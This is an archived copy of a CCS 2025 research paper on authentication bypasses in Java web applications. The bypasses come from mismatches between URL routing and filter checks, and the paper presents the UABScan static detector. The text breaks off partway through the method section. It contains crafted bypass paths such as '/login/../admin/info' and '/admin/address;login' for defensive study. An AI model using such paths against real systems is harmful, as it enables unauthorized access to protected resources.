---
type: Whitepaper
title: "Be Aware of What You Let Pass: Demystifying URL-based Authentication Bypass Vulnerability in Java Web Applications"
description: Studies authentication bypasses caused by disagreement between Java URL routing and access checks. UABScan extracts framework routing features, slices URL-dependent code, and matches risky checks against sanitization patterns. Across 529 applications it reports 94 candidates; verification confirms 56 vulnerabilities, including 35 new ones, with 80% precision among checked findings.
resource: "https://racerz-fighting.github.io/paper/uabscan-ccs25.pdf"
tags: [whitepaper, webseclist-reference, acm-ccs, java, auth-bypass, url-parsing, parser-differential, static-analysis, tooling, measurement-study, owasp-a01-2021]
generated:
  by: webseclist-refs/1
  at: "2026-09-10T14:00:06+00:00"
status: stable
stale_after: 2027-09-10
sources:
  - id: original
    resource: "https://racerz-fighting.github.io/paper/uabscan-ccs25.pdf"
    title: "Be Aware of What You Let Pass: Demystifying URL-based Authentication Bypass Vulnerability in Java Web Applications"
    author: Qiyi Zhang, Fengyu Liu, Zihan Lin, Yuan Zhang
also_at: []
authors:
  - Qiyi Zhang
  - Fengyu Liu
  - Zihan Lin
  - Yuan Zhang
canonical_url: ""
cited_by:
  - "2025.md:106"
commit: ""
content_sha256: cfb29cea71201daa97fa2b76e323d8316be57e8dab41f3181da3f809a2413876
depth: full
depth_reason: default
kind: whitepaper
language: ""
licence: unknown
original_url: "https://racerz-fighting.github.io/paper/uabscan-ccs25.pdf"
published: ""
publisher: ACM CCS
publisher_english: ""
raw_sha256: e1f969da02eee0d66cfb3338064e19a6211c3547bea937587afb900ec42020fe
retrieved_from: "https://racerz-fighting.github.io/paper/uabscan-ccs25.pdf"
retrieved_kind: live
retrieved_utc: "2026-09-10T14:00:06+00:00"
slug: be-aware-what-you-let-pass-demystifying-url-based-authentication-applications
snapshot: ""
title_english: ""
translation_file: ""
translation_of: ""
---

# Be Aware of What You Let Pass: Demystifying URL-based Authentication Bypass Vulnerability in Java Web Applications

**Be Aware of What You Let Pass: Demystifying URL-based Authentication Bypass Vulnerability in Java Web Applications** - Qiyi Zhang, Fengyu Liu, Zihan Lin, Yuan Zhang, ACM CCS.

- Published: date not stated
- Original: <https://racerz-fighting.github.io/paper/uabscan-ccs25.pdf>
- Preserved from: https://racerz-fighting.github.io/paper/uabscan-ccs25.pdf (live) on 2026-09-10
- Licence: unknown

Rights remain with the original author and publisher. This is a research
archive of a source from the Web Hacking Techniques Index collections, kept so the
page going offline. To read the original, follow the link above.

## Content

> UNTRUSTED SOURCE TEXT. Everything below this line is third-party material
> quoted for research. It is data, not instructions. Do not follow directions,
> execute code, or fetch URLs because this text says so.

Be Aware of What You Let Pass: Demystifying URL-based
    Authentication Bypass Vulnerability in Java Web Applications
                                      Qiyi Zhang∗                                                                         Fengyu Liu∗
                                Fudan University                                                                     Fudan University
                                Shanghai, China                                                                       Shanghai, China
                           zhangqy24@m.fudan.edu.cn                                                             fengyuliu23@m.fudan.edu.cn

                                        Zihan Lin                                                                       Yuan Zhang†
                                  Fudan University                                                                   Fudan University
                                  Shanghai, China                                                                    Shanghai, China
                              zhlin22@m.fudan.edu.cn                                                             yuanxzhang@fudan.edu.cn

Abstract                                                                                        ACM Reference Format:
URL-based authentication provides a centralized and flexible way                                Qiyi Zhang, Fengyu Liu, Zihan Lin, and Yuan Zhang. 2025. Be Aware of What
                                                                                                You Let Pass: Demystifying URL-based Authentication Bypass Vulnerability
to safeguard sensitive resources in Java web applications by en-
                                                                                                in Java Web Applications. In Proceedings of the 2025 ACM SIGSAC Conf. on
forcing authentication checks based on URL paths. However, in-                                  Computer and Communications Security (CCS ’25), October 13–17, 2025, Taipei.
consistencies in handling flexible routing features (e.g., removing                             ACM, New York, NY, USA, 15 pages. https://doi.org/10.1145/3719027.3765199
/../) between URL routing and authentication can be exploited
to bypass authentication checks, resulting in URL-based Authen-
tication Bypass Vulnerabilities (UABVulns). These vulnerabilities
allow attackers to access sensitive resources without authentication,                           1    Introduction
leading to serious security breaches.                                                           Java web applications play a crucial role in the modern digital land-
   In this paper, we conduct the first in-depth study of 53 real-world                          scape, serving as a foundation for businesses to host websites that
UABVulns in Java web applications. Our study uncovers the root                                  store vast amounts of sensitive resources [22]. Users access these
causes of UABVulns and identifies three key findings regarding                                  resources by specifying URLs [38], which are processed by web ap-
URL routing, authentication, and sanitization. Guided by these find-                            plications to locate and deliver the requested content. To safeguard
ings, we design and implement UABScan, a static analysis tool that                              these sensitive resources from unauthorized access, developers im-
detects UABVulns by matching routing and authentication incon-                                  plement a variety of authentication mechanisms, with URL-based
sistencies through pattern-based analysis. We evaluate UABScan                                  authentication being particularly vital.
on 529 popular Java web applications and successfully report 94                                    URL-based authentication decides whether an HTTP request is
UABVulns across 72 applications, including 35 verified high-risk                                attempting to access sensitive resources by evaluating the URL path,
0-days. Through manual investigation, UABScan achieves a recall                                 and then authenticating requests when necessary (e.g., requiring
of 87.50% and a precision of 80.00%, and significantly outperforms                              authentication for /admin but not for /login). This mechanism
the state-of-the-art tool. To date, 31 CVE IDs have been assigned.                              offers a centralized and unified way to safeguard sensitive resources
                                                                                                within web applications, thereby reducing the overhead of main-
CCS Concepts                                                                                    taining authentication checks and preventing unauthorized access
                                                                                                caused by developers overlooking authentication for specific re-
• Security and privacy → Software and application security.
                                                                                                sources. Many companies, such as IBM and Apple [10, 11] have
                                                                                                already integrated URL-based authentication to safeguard sensitive
Keywords                                                                                        resources within their systems.
URL-based Authentication; Java Web Security                                                        However, this widely adopted mechanism is susceptible to URL-
                                                                                                based Authentication Bypass Vulnerabilities (UABVulns). This by-
∗ co-first author.                                                                              pass arises from inconsistencies between URL routing and authentica-
† corresponding author.                                                                         tion. Specifically, the routing process typically incorporates flexible
                                                                                                URL normalization features (e.g., removing /../ from the URL
                                                                                                path) to enhance robustness, which we refer to as routing features.
Permission to make digital or hard copies of all or part of this work for personal or
classroom use is granted without fee provided that copies are not made or distributed           Nevertheless, application developers frequently lack a comprehen-
for profit or commercial advantage and that copies bear this notice and the full citation       sive understanding of these features and fail to apply the same
on the first page. Copyrights for components of this work owned by others than the              sanitization in the authentication process. As a result, attackers
author(s) must be honored. Abstracting with credit is permitted. To copy otherwise, or
republish, to post on servers or to redistribute to lists, requires prior specific permission   can leverage these routing features to craft malicious URLs that
and/or a fee. Request permissions from permissions@acm.org.                                     make the authentication believe the request is for a non-sensitive re-
CCS ’25, Taipei                                                                                 source (e.g., /login) that doesn’t require authentication, while the
© 2025 Copyright held by the owner/author(s). Publication rights licensed to ACM.
ACM ISBN 979-8-4007-1525-9/2025/10                                                              routing parses it as a request for a sensitive resource (e.g., /admin),
https://doi.org/10.1145/3719027.3765199                                                         thus bypassing URL-based authentication. Attackers could exploit
CCS ’25, October 13–17, 2025, Taipei                                                                    Qiyi Zhang, Fengyu Liu, Zihan Lin, and Yuan Zhang


UABVuln to access sensitive resources without authentication, lead-         We evaluate UABScan on a dataset of 529 popular Java web
ing to severe data breaches and jeopardizing financial security.         applications, with an average analysis time of 3.69 minutes per
   To the best of our knowledge, although UABVulns represent a           application. These applications range from 300 to 20,000 stars on
specific type of sanitization inconsistency vulnerability [42, 43, 46,   GitHub [9] and belong to various types (e.g., CMS, blog, etc.), demon-
51], they have not been systematically studied in previous work.         strating their representativeness. As a result, UABScan reported
 Therefore, in this work, we aim to design a detection approach          94 UABVulns from 72 applications. To verify the detection effec-
that can effectively evaluate the security of modern Java web appli-     tiveness, we set up 51 vulnerable applications and confirmed 56
cations against UABVulns. Given that inconsistency between URL           UABVulns through PoC construction, including 35 high-risk 0-day
routing and authentication arises from the flexible routing features,    and 21 known UABVulns. The results show that the precision and
an intuitive detection approach is to identify risky routing features    the recall of UABScan are 80.00% and 87.50% respectively. Com-
in applications and determine whether they are processed during          pared with BypassPro [2] (a state-of-the-art tool), UABScan demon-
URL-based authentication. While this approach is straightforward,        strates impressive performance, detecting 40 more vulnerabilities
two key challenges must be addressed:                                    and surpassing it by 70.17% in recall. The newly identified vulnera-
                                                                         bilities pose significant security risks (e.g., information leak, RCE),
• C1: How to effectively identify risky routing features in applica-     which could be used to compromise user privacy and even control a
  tion routing? Modern web applications are primarily built on           remote server. We have responsibly reported all new vulnerabilities
  frameworks or containers with complex routing logic, making            to their developers. As of now, 31 CVE IDs have been assigned.
  it difficult to analyze the code handling URL paths and pinpoint          To sum up, our paper makes the following contributions:
  risky routing features.                                                • We conduct the first in-depth study of UABVulns in real-world
• C2: How to automatically detect vulnerable authentication affected       Java web applications, offering new insights and techniques for
  by routing features? Once routing features are identified, we must       UABVulns detection.
  determine whether any authentication checks can be bypassed            • We propose a novel static analysis approach, called UABScan,
  using URL path tricks derived from these features and whether            to detect UABVulns in Java web applications. To facilitate future
  developers have addressed these features before the check. How-          research, we have released the prototype implementation 1 .
  ever, authentication logic is often custom-built by developers,        • Our evaluation with 529 real-world Java web applications demon-
  leading to high diversity and making manual modeling impracti-           strates the effectiveness of UABScan, with the discovery of 35
  cal.                                                                     confirmed 0-day UABVulns and the assignment of 31 CVE IDs.
   To address these two challenges, it is essential to gain a thorough
understanding of real-world UABVulns. For this purpose, we con-
                                                                         2     Background & Problem Statements
ducted the first in-depth empirical study of 53 known UABVulns,          In this section, we begin by presenting an overview of URL-based
resulting in three key findings that help address the proposed chal-     authentication in Java web applications (in §2.1) and define the URL-
lenges. 1 (Finding I ) We identified 13 routing features regarding       based Authentication Bypass Vulnerability within this context (in
URL paths, including operations such as removal, decoding, replace-      §2.2). Then, we present the key challenges in detecting UABVulns
ment, and matching. These diverse and flexible routing features          (in §2.3).
significantly impact the robust implementation of URL-based au-
thentication. 2 (Finding II ) Vulnerable URL-based authentication        2.1     URL-based Authentication in Modern Java
checks often rely on simple string-matching methods. These checks                Web Application
typically fall into three categories: start with, end with, and con-     URL (Uniform Resource Locator) plays a central role in modern
tain, each of which can be bypassed by specific routing features.        web applications by specifying the location of a resource and how
 3 (Finding III ) Developers apply sanitization methods before au-
                                                                         to retrieve it [38]. A typical URL consists of multiple components
thentication checks to handle routing features, ensuring consistent      such as the Hostname, Path, and Query, among which the Path is
URL processing and preventing UABVulns.                                  critical for locating resources within the application. The follow-
   Based on our findings, we propose UABScan, a novel static anal-       ing discusses how modern web applications use the URL path for
ysis approach designed for detecting UABVulns in Java web applica-       routing and authentication.
tions. UABScan consists of three primary phases. Firstly, UABScan        Handler. Unlike traditional file-based handling (e.g., requests like
identifies the web framework version and configuration used by the       http://website/index.php are directly served by index.php),
target application to discern the risky routing features supported       modern web frameworks (e.g., Spring [36]) decouple functionality
by the application (Finding I). Secondly, UABScan performs static        via handlers (e.g., separate ones for user and admin operations),
analysis to identify variables representing the URL path and extract     offering greater modularity and flexibility. Developers bind each
the corresponding URL path-related code slices, thereby pinpoint-        handler to a specific URL path, so that requests are dispatched
ing authentication checks (Finding II) and sanitization statements       accordingly. As shown in Figure 1a, the userInfo handler (at line
(Finding III). Finally, UABScan employs a pattern-based detection        4) is bound to "/admin/info" and only handles requests to that
approach to determine whether identified risky routing features          path.
have been processed through sanitization before the authentication
checks. If any risky features remain unaddressed, UABScan reports
a potential UABVuln.                                                     1 https://zenodo.org/records/16990216
Be Aware of What You Let Pass: Demystifying URL-based Authentication Bypass Vulnerability in Java Web Applications                    CCS ’25, October 13–17, 2025, Taipei


Routing. The routing mechanism dispatches user requests to ap-                       1 class AdminHandler {
propriate handlers based on URL paths. For example, the Spring                       2   // sensitive web handler
                                                                                     3   @GetMapping("/admin/info")
Framework uses a central DispatcherServlet [31] to perform this                      4   public Response userInfo() {
dispatching. As shown in Figure 1a, the routing process involves                     5     return new Response(userService.getUserInfo());
                                                                                     6   }
four steps: 1 extracting the URL path from the request (line 12); 2                  7 }
performing string operations to parse and normalize the path (e.g.,                  8 ...
                                                                                     9 // routing
parse at line 13); 3 locating the corresponding handler from the                    10 class WebRouter {
routing table (i.e., HandlerMap at line 14), which maintains path-                  11     public void doDispatch(Request request) {
                                                                                    12       String uri = request.getRequestURI();
handler mappings (e.g., /admin/info mapped to the userInfo han-                     13       uri = parse(uri);
                                                                                    14       Handler handler = HandlerMap.get(uri); // /admin/info
dler in line 4); 4 invoking the matched handler to process the                      15       handler.invoke();
request (line 15).                                                                  16       ...
                                                                                    17     }
URL-based Authentication. Modern web applications expose                            18     public String parse(String uri) {
a large number of handlers to access sensitive resources, which                     19       ...
                                                                                    20       return (new URI(uri)).normalize().toString();
require authentication, while certain handlers (e.g., login, regis-                 21     }
ter) remain publicly accessible. To manage this more uniformly                      22 }
                                                                                    23 ...
and reduce maintenance overhead, applications often adopt a cen-                    24 // URL-based authentication
                                                                                    25 class WebFilter implements Filter {
tralized authentication mechanism based on URL path (commonly                       26     public void doFilter(Request request, ..., Chain chain) {
implemented via Java Filters [21, 24]). As shown in Figure 1a, the                  27       String uri = request.getRequestURI(); // /login/../admin/info
                                                                                    28 +     uri = (new URL(uri)).normalize().toString(); // patch
URL path is first extracted from the request (line 27), and then                    29       if (uri.startsWith("/admin")) {
checked using uri.startsWith("/admin") (line 29). If it matches,                    30         doAuth(); // check auth
                                                                                    31       }
the request is considered to target sensitive admin resources and                   32       chain.doFilter(request, ...); // let pass
is thus subject to an authentication check (e.g., doAuth at line 30);               33     }
                                                                                    34 }
otherwise, it proceeds directly (e.g., chain.doFilter at line 32).
    Due to its unified and flexible nature, URL-based authentication                                  (a) Code snippet demonstrating UABVuln.
is widely adopted by major companies (e.g., IBM and Apple [10])
and serves millions of users. A recent report [11] further highlights
                                                                                                     /login/../admin/info        /admin/info
its prevalence, noting that thousands of enterprises in 77 countries
rely on it to protect sensitive resources.                                                                             proceed                 dispatch


2.2     URL-based Authentication Bypass                                                               Authentication              Routing                 Handler
        Vulnerability
Despite the practicality and widespread adoption of URL-based                                            (b) The attack workflow of UABVuln.
authentication, we observe that there may still exist a bypass issue
specifically targeting URL-based authentication.                                         Figure 1: An example of UAVuln in Java web application.

2.2.1 Motivating Example. We use Figure 1a as an example to il-
lustrate the potential bypass issue. The two core modules in the                       considered access to non-admin resources. Subsequently, in the
application, WebRouter (for routing) and WebFilter (for authenti-                      routing process, the URL path is inconsistently parsed to
cation), both rely on the URL path for parsing and decision-making.                    /admin/info because /login/../ segments are removed through
WebRouter uses the URL path to identify the appropriate request                        the normalize method (line 20). Thus, based on the path-handler
handler (e.g., HandlerMap.get(uri) at line 14), while WebFilter                        mappings (line 14), the URL is routed to the userInfo handler and
determines whether the user intends to access admin resources                          leaks sensitive resources of the administrator to attackers.
(e.g., uri.startsWith("/admin") at line 29) and thus requires au-
thentication. However, when examining how these two modules                            2.2.2 Root Cause Analysis. Based on the above analysis, we con-
process the URL path, we find inconsistencies within their parsing                     clude that the root cause of the bypass problem in Figure 1 is the
process. Specifically, the parse function in the WebRouter class                       inconsistency between URL routing and authentication in processing
uses the URI.normalize method (lines 13 and 20) to remove /../                         flexible routing features. Specifically, URL routing modules typi-
segments and the preceding path part from the URL (a typical exam-                     cally incorporate features that automatically normalize URL paths,
ple of routing features), while the same sanitization step is absent in                enhancing their robustness. We refer to these as routing features
the WebFilter class. The different parsing process causes inconsis-                    (detailed in §3.2). However, our analysis reveals that application
tency in URL paths between the two modules, potentially leading                        developers frequently lack a comprehensive understanding of these
to bypass problems.                                                                    flexible routing features. Consequently, they typically fail to apply
   To exploit, as shown in Figure 1b, attackers could craft a                          the same sanitization in their URL-based authentication checks,
malicious URL by prepending the /login/../ to the URL path                             resulting in non-robust authentication mechanisms. This inconsis-
/admin/info, i.e., /login/../admin/info. In the authentication                         tency in URL processing allows attackers to craft malicious URLs
process, this URL is directly passed without authentication (line                      that deceive the URL-based authentication mechanism into be-
32) since the URL path does not start with "/admin" and is                             lieving authentication is unnecessary. After the URL undergoes
CCS ’25, October 13–17, 2025, Taipei                                                                Qiyi Zhang, Fengyu Liu, Zihan Lin, and Yuan Zhang


normalization during routing, it may be directed to a handler with             Table 1: Summary of Vulnerability Data Collection
access to sensitive resources, ultimately resulting in an authentica-
tion bypass issue. Hence, we name such a problem as the URL-based              Result Type        CVE Database       Github Issues       Total
Authentication Bypass Vulnerability (UABVuln).                                 Search Results          783                 273           1056
                                                                               Filtered Results         35                 18             53
2.2.3 Threat Model. In our threat model, we assume an unauthenti-
cated attacker can access the web application via HTTP requests. To
gain access to sensitive resources, the attacker can craft malicious     • RQ2 (Vulnerable Authentication Check) How can vulnerable
URL paths in HTTP requests, causing the URL-based authentica-              authentication checks be exploited by routing features, leading to
tion mechanism to incorrectly classify the request as accessing            UABVulns?
a non-sensitive resource, which does not require authentication.         • RQ3 (Mitigation) How can developers handle routing features to
Meanwhile, the routing mechanism may treat the request as ac-              prevent UABVulns?
cessing a protected resource and provide the required access, thus
bypassing URL-based authentication and resulting in a UABVuln.           3.1     UABVulns Collection and Analysis
                                                                         3.1.1 UABVulns Collection. We initially aimed to construct a
2.3     Detection Challenges                                             dataset consisting of known UABVulns. The construction process
Given the significant security risks posed by UABVulns, it is crucial    is divided into two steps.
to design an effective detection approach. As introduced above,             Firstly, we queried the CVE database to collect authentication-
the root cause of UABVulns lies in the fact that the flexible rout-      related CVEs using keywords (e.g., access control, security check, and
ing features are not consistently processed in the authentication.       authentication bypass) and CWEs (e.g., CWE22, CWE23, CWE287,
Therefore, to detect UABVulns, it is essential to first identify which   CWE289, and CWE697). The vulnerability disclosure dates were
routing features in the target application’s routing are risky and       restricted to between January 2020 and December 2024. This step
then determine whether these features can lead to authentication         resulted in collecting 783 authentication-related CVEs. Further-
check bypass. Thus, we summarize two main challenges:                    more, following previous work [47, 55], we conducted an additional
Challenge I: How to effectively identify risky routing fea-              search on GitHub issues to collect public reports of authentication-
tures in application routing? The routing feature refers to string       related vulnerabilities using similar keywords. This step yielded
operations applied during routing to handle special characters (e.g.,    273 authentication-related issues, providing supplementary data
/../) in URL paths. Modern web applications are predominantly            for our analysis. For each vulnerability, we selected those with de-
built on web frameworks or containers, where the routing logic is        tailed PoCs (which help us understand the UABVulns mechanism
inherently complex. For example, our empirical study (as detailed        through malicious URLs), available patches or remediation sugges-
in §3.2) identified 11 distinct routing features in the Spring Frame-    tions, and relevant data on the web frameworks or containers used.
work [36] alone, spread across different versions and controlled         This process resulted in 117 CVEs and 41 associated GitHub issues.
by various configurations. As a result, it is challenging to analyze        Secondly, since some authentication-related vulnerabilities are
the code that handles URL paths and identify the risky features          not UABVulns, we further filtered them in our results. Specifically,
embedded within it.                                                      we manually analyzed the PoCs for each collected vulnerability,
Challenge II: How to automatically detect vulnerable au-                 checking for the presence of any special characters crafted by at-
thentication affected by routing features? After identifying             tackers (e.g., /../ shown in Figure 1). This process helped us filter
the routing features, we need to evaluate whether any authentica-        out unrelated vulnerabilities like those arising from token forgery
tion checks can be bypassed through these features and whether           [25], logical flaws [12], and broken object-level authorization [47].
developers have handled them prior to the check. However, authen-           Finally, we identified 53 UABVulns, with 35 from the CVE data-
tication logic is often custom-built by developers, making it highly     base and 18 from GitHub issues. These UABVulns span 34 web
diverse and flexible, which renders manual modeling impractical.         applications, which are built on 7 different web frameworks, pro-
For instance, in our evaluation, we extracted 381 distinct authenti-     viding a solid foundation for a comprehensive study of UABVulns.
cation logics, highlighting the infeasibility of manual modeling.        The overall results are shown in Table 1.
                                                                         3.1.2 UABVuln Analysis. After the collection, we employed the
3     Problem Understanding & Insights                                   following approaches to analyze the collected UABVulns.
UABVulns have already posed significant security threats to real-        • RQ1: Routing Features. To identify the routing features that
world web applications [13, 15]. However, none of the prior studies         lead to UABVulns, we adopt a two-pronged approach. First, we
have systematically examined UABVulns, let alone proposed an ap-            perform a root cause analysis of known UABVulns by exam-
proach for UABVulns detection. To address the proposed challenges           ining the URL path in the PoC and locating the routing class
and guide the design of an effective detection approach, we conduct         (e.g., WebRouter class in Figure 1). We then inspect the string
the first empirical study to better understand the UABVulns. Our            operations applied to special characters in the routing logic (e.g.,
study focuses on the following key research questions:                      the use of normalize to remove /../) to extract the routing
                                                                            features responsible for the vulnerability. Second, to uncover
• RQ1 (Routing Features) What routing features (e.g., remove ../            routing features not present in known vulnerabilities, we analyze
  shown in Figure 1) could lead to UABVulns?                                the historical commits of two widely used frameworks: Spring
Be Aware of What You Let Pass: Demystifying URL-based Authentication Bypass Vulnerability in Java Web Applications                 CCS ’25, October 13–17, 2025, Taipei


Table 2: Summary of Routing Features. The Web Framework/Container column indicates the frameworks or containers support-
ing each routing feature. The #Vuln. column denotes the number of reported vulnerabilities associated with each feature. The
Origin column denotes how the routing feature was identified (e.g., known vulnerabilities, or web framework).

      Type                 Feature                           Description                 Web Framework/Container                       Origin                  #Vuln.
                         Relative-path        Eliminate relative paths for cleaner URLs   Spring/Jersey/Jetty/Custom             known vulnerabilities           18
                         Context-path          Omit the context path to simplify URLs            Spring/Jersey                   known vulnerabilities           2
                                               Remove semicolon characters to ensure
    Removal               Semicolon                                                     Spring/Jersey/WebFlux/Custom             known vulnerabilities           19
                                                              uniformity
                                                 Strip colon characters to maintain
                             Colon                                                                  Custom                       known vulnerabilities            1
                                                             consistency
                         Trimming              Erase whitespace for streamlined URLs                Spring                       known vulnerabilities            2
                        URL decoding           Decode encoded URLs for accessibility            Spring/Custom                    known vulnerabilities            3
   Decoding                                   Convert Unicode encoded URLs for proper
                      Unicode decoding                                                            Spring/Jetty                   known vulnerabilities            2
                                                            interpretation
                      Multiple forward
                                                 Consolidate multiple slashes into one                   Spring                  known vulnerabilities            2
 Replacement               slashes
                      Custom separator        Substitute "\" with "/" for standardization         Spring/Tomcat/Jetty               web framework                 0
                                             Enable routes to match irrespective of case
                       Case-insensitive                                                                  Spring                     web framework                 0
                                                              sensitivity
                        Trailing slash       Allow routes to match with a trailing slash             Spring/Jersey               known vulnerabilities            2
   Matching                                    Permit matching routes with any suffix
                       Arbitrary suffix                                                                  Spring                     web framework                 0
                                                                pattern
                                                Facilitate matching routes containing
                           Newline                                                                       Spring                  known vulnerabilities            2
                                                          newline characters


  and Jersey [23, 29]. Starting from a baseline version (e.g., Spring                       addressed the exploited routing features to prevent such vulnera-
  4.1.3.RELEASE), we focus on milestone commits2 that introduce                             bilities. Specifically, we pinpointed the exact lines of code in the
  routing-related changes, especially those involving security or                           application where the patches were applied, based on the patch
  major functional updates [32]. For example, commit 47b8fb [37]                            descriptions. We then analyzed how the patch lines handled spe-
  shows that Spring disabled the arbitrary suffix matching feature                          cial characters in the PoC (e.g., ‘/../‘) to prevent the vulnerabilities
  by default after version v5.3.0-M1, which previously allowed                              caused by routing features in the application.
  URL paths with arbitrary suffixes (e.g., .css) to be routed to
                                                                                         Following previous studies [47, 65, 67], two authors of this work
  the same handler. We manually review such commits to identify
                                                                                         independently examined each UABVulns based on the aforemen-
  additional routing features that may introduce risk but have not
                                                                                         tioned methods. Any disagreements were resolved through discus-
  yet been exploited in reported UABVulns.
                                                                                         sions with the third author.
• RQ2: Vulnerable Authentication Check. To further analyze
                                                                                             As a result, the manual analysis of 53 historical UABVulns took
  the vulnerable authentication checks that lead to UABVulns, we
                                                                                         approximately 11 man-hours. Separately, for web framework anal-
  conduct a two-step analysis. First, we examine the URL-based
                                                                                         ysis, we examined 407 milestone commits from Spring and 98 from
  authentication checks involved in these vulnerabilities. Then, we
                                                                                         Jersey, requiring 18 and 6 man-hours, respectively. Note that Jersey
  investigate which routing features, and why, cause these checks
                                                                                         involved significantly fewer routing-related code changes, and all
  to fail in effectively protecting sensitive resources, ultimately
                                                                                         its features overlapped with those already identified in Spring (see
  allowing them to be bypassed. Specifically, for each UABVuln, we
                                                                                         Table 2), which contributed to the reduced manual effort.
  locate the authentication class (e.g., WebFilter class in Figure 1)
  based on the vulnerability description, and then use the PoC along
  with the URL-based authentication code within applications (e.g.,                      3.2     Findings
  uri variable in Figure 1) to understand how attackers exploit                          Finding I: Routing Features. Following the study methodology,
  routing features to bypass authentication.                                             we identified 13 unique routing features in various web frameworks
• RQ3: Mitigation. Finally, we conducted a detailed analysis of                          that improve the flexibility of URL parsing during the routing pro-
  the patches for these UABVulns to understand how developers                            cess. As demonstrated in Table 2, these features mainly involve four
                                                                                         types of URL path handling:
2 According to GitHub documentation [19], milestones are versioned development
                                                                                         • Removal (38.46%). We identified 5 routing features that man-
targets that group related issues and pull requests. We identify relevant commits by
examining those associated with such milestones, which are typically labeled and           age URL paths by stripping special characters. For instance, the
curated by core developers to reflect major changes.                                       relative-path feature removes /../ segments and the preceding
CCS ’25, October 13–17, 2025, Taipei                                                               Qiyi Zhang, Fengyu Liu, Zihan Lin, and Yuan Zhang


   path part from the URL, and the semicolon feature eliminates ;         and parameters. Each risky pattern can be exploited by specific
   and the content immediately following them.                            routing features to craft malicious URL paths that bypass authen-
• Decoding (15.38%). We found 2 routing features that handle URL          tication checks, potentially leading to UABVulns. The examples
   paths by decoding characters encoded in specified formats. For         below illustrate such bypasses.
   example, the URL decoding feature decodes characters formatted         • Bypass of Start with: Attackers can exploit the routing feature
   in URL encoding within paths, while the Unicode decoding feature         of replacement type (e.g., Multiple forward slashes) to substitute
   handles characters formatted in Unicode.                                 duplicate slashes with a single one during routing. As a result, an
• Replacement (15.38%). We found 2 routing features that process            attacker can bypass authentication for prefix checks, e.g. /admin,
   URL paths by replacing special characters with regular ones. For         by constructing a URL path, e.g. //admin/address.
   instance, multiple forward slashes, like ////, can be replaced         • Bypass of End with: Attackers can exploit the routing feature of
   with a single slash using the multiple forward slash feature.            matching type (e.g., Arbitrary suffix) to route URL paths with any
• Matching (30.77%). We also found 4 routing features that match            suffix to the same handler during routing. By crafting a URL path,
   URL paths with the corresponding handlers in specific ways.              e.g. /admin/address.css, an attacker can bypass authentication
   For example, the arbitrary suffix matching feature allows URL            pattern checks based on suffixes, e.g. .css.
   paths with different suffixes (e.g., .css and .do) to be directed      • Bypass of Contain: Attackers can also exploit the routing fea-
   to the same handler, while the case-insensitive matching feature         ture of removal type (e.g., Semicolon) to remove everything af-
   supports paths being matched regardless of letter case.                  ter the semicolon during routing. By crafting a URL path like
    These routing features boost the web framework’s reliability and        /admin/address;login, they can bypass authentication pattern
robustness by processing flexible URL paths and directing requests          checks based on keywords, e.g. login.
to the correct handlers, even when there are special characters
in the URL paths. In our examination of various web frameworks            Finding III: Mitigation. Our analysis of the patches for these
and containers, we found that Spring Framework boasts the most            UABVulns reveals that developers commonly apply sanitization
routing features, making up 84.62% (11 out of 13) of them.                operations before the authentication checks to handle the routing
    While these routing features support flexibility in the routing       features, ensuring consistent URL path processing and mitigating
process, they also introduce security vulnerabilities in authentica-      UABVulns. Specifically, sanitization refers to string operations on
tion. Among them, the relative-path and semicolon features led to         special characters in URL paths, such as removal, replacement, and
the most UABVulns, representing 33.96% (18 out of 53) and 35.85%          decoding, which are similar to the normalization process in routing,
(19 out of 53), respectively. This indicates that developers have se-     as discussed in RQ1. For example, in Figure 1, the URI.normalize
riously overlooked these features when implementing URL-based             method at the patch line removes /../ from the URL path, prevent-
authentication, leading to vulnerable authentication checks. We           ing the attack illustrated in Section 2.2.1.
will discuss these in more detail in the following findings.                 Additionally, we merge the extracted sanitization methods based
                                                                          on similar API functionalities, resulting in 13 distinct patterns,
Finding II: Vulnerable Authentication Check. Following our                which we term sanitization patterns (as detailed in §4.4). Each
analysis methodology, we observed that vulnerable URL-based au-           pattern is designed to handle specific types of routing features.
thentication checks are characterized by the use of simple string-        Among them, 7 patterns involve handling routing features related
matching methods to determine whether a URL intends to access             to string removal (e.g., applying the .*normalize.* pattern to
sensitive resources. These checks primarily fall into three types:        remove /../), 2 involve decoding (e.g., applying the .*decode.*
• Start with (11/53, 20.75%) checks if the URL path starts with           pattern for URL/Unicode decoding), and 1 involves replacement
  a specific prefix, which usually corresponds to resources that          (e.g., applying the .*lower.* pattern for case conversion). The
  need protection, e.g., admin resources /admin/address. Thus,            remaining 3 patterns support at least two of these operations simul-
  developers use prefix checks (e.g., startsWith(‘/admin’) [35])          taneously (e.g., .*replace.* can perform both string replacement
  to determine if a request accesses sensitive resources. They then       and removal). When these sanitization patterns appear before vul-
  block the qualifying requests for further user permission checks.       nerable URL-based authentication checks, they effectively handle
• End with (3/53, 5.66%) checks if the URL path ends with                 the corresponding exploitable routing features, preventing the oc-
  certain suffixes, typically those of static resources, e.g., .css and   currence of UABVulns.
  .img. To this end, developers use suffix checks (e.g.,
  String.endsWith(‘.css’) [34]) to identify requests accessing            4 The Approach of UABScan
  static resources that do not require a user permission check and
  allow them to proceed.                                                  4.1 Approach Overview
• Contain (39/53, 73.58%) checks if the URL path contains                 Building on the study’s findings, we propose a detection approach
  specific keywords. For example, developers utilize                      for UABVulns, named UABScan. Algorithm 1 outlines the workflow
  String.contains(‘login’) [33] to check if the URL path                  of UABScan. It takes the target application’s code, risky patterns,
  contains the keyword login. If it does, it indicates the user is        and sanitization patterns as input, and outputs both the presence
  accessing a login function resource, which does not require a           of UABVulns and the corresponding routing features exploitable
  user permission check.                                                  by attackers. The workflow comprises three key stages:
   Based on these, six types of risky patterns (as detailed in §4.4)      (1) Routing Features Extraction (§4.2). This stage takes the config-
are derived from vulnerability data based on their similarity in API          uration files as input, leveraging both the web framework’s
Be Aware of What You Let Pass: Demystifying URL-based Authentication Bypass Vulnerability in Java Web Applications            CCS ’25, October 13–17, 2025, Taipei


 Algorithm 1: The Workflow of UABScan                                                  milestone commits (filtering with commit messages and code diffs)
   Input: Code 𝐶, Config 𝐴𝐶, Risky Patterns 𝑆, Sanitization Patterns                   to identify added or removed features in the target frameworks (see
          𝑆𝑎𝑛𝑃𝑠                                                                        Section 3.1.2), then we determine the version in which each routing
   Output: Vuln Results 𝑉 𝑅                                                            feature was introduced and the version where it stopped being
 1 𝑉𝑅 ← ∅                                                                              enabled by default. This allows us to identify the version range
 2 𝑅𝐹𝑒𝑎𝑡𝑢𝑟𝑒 ← ExtractRoutingFeatures(𝐴𝐶 )                                              in which each feature is supported by default and construct the
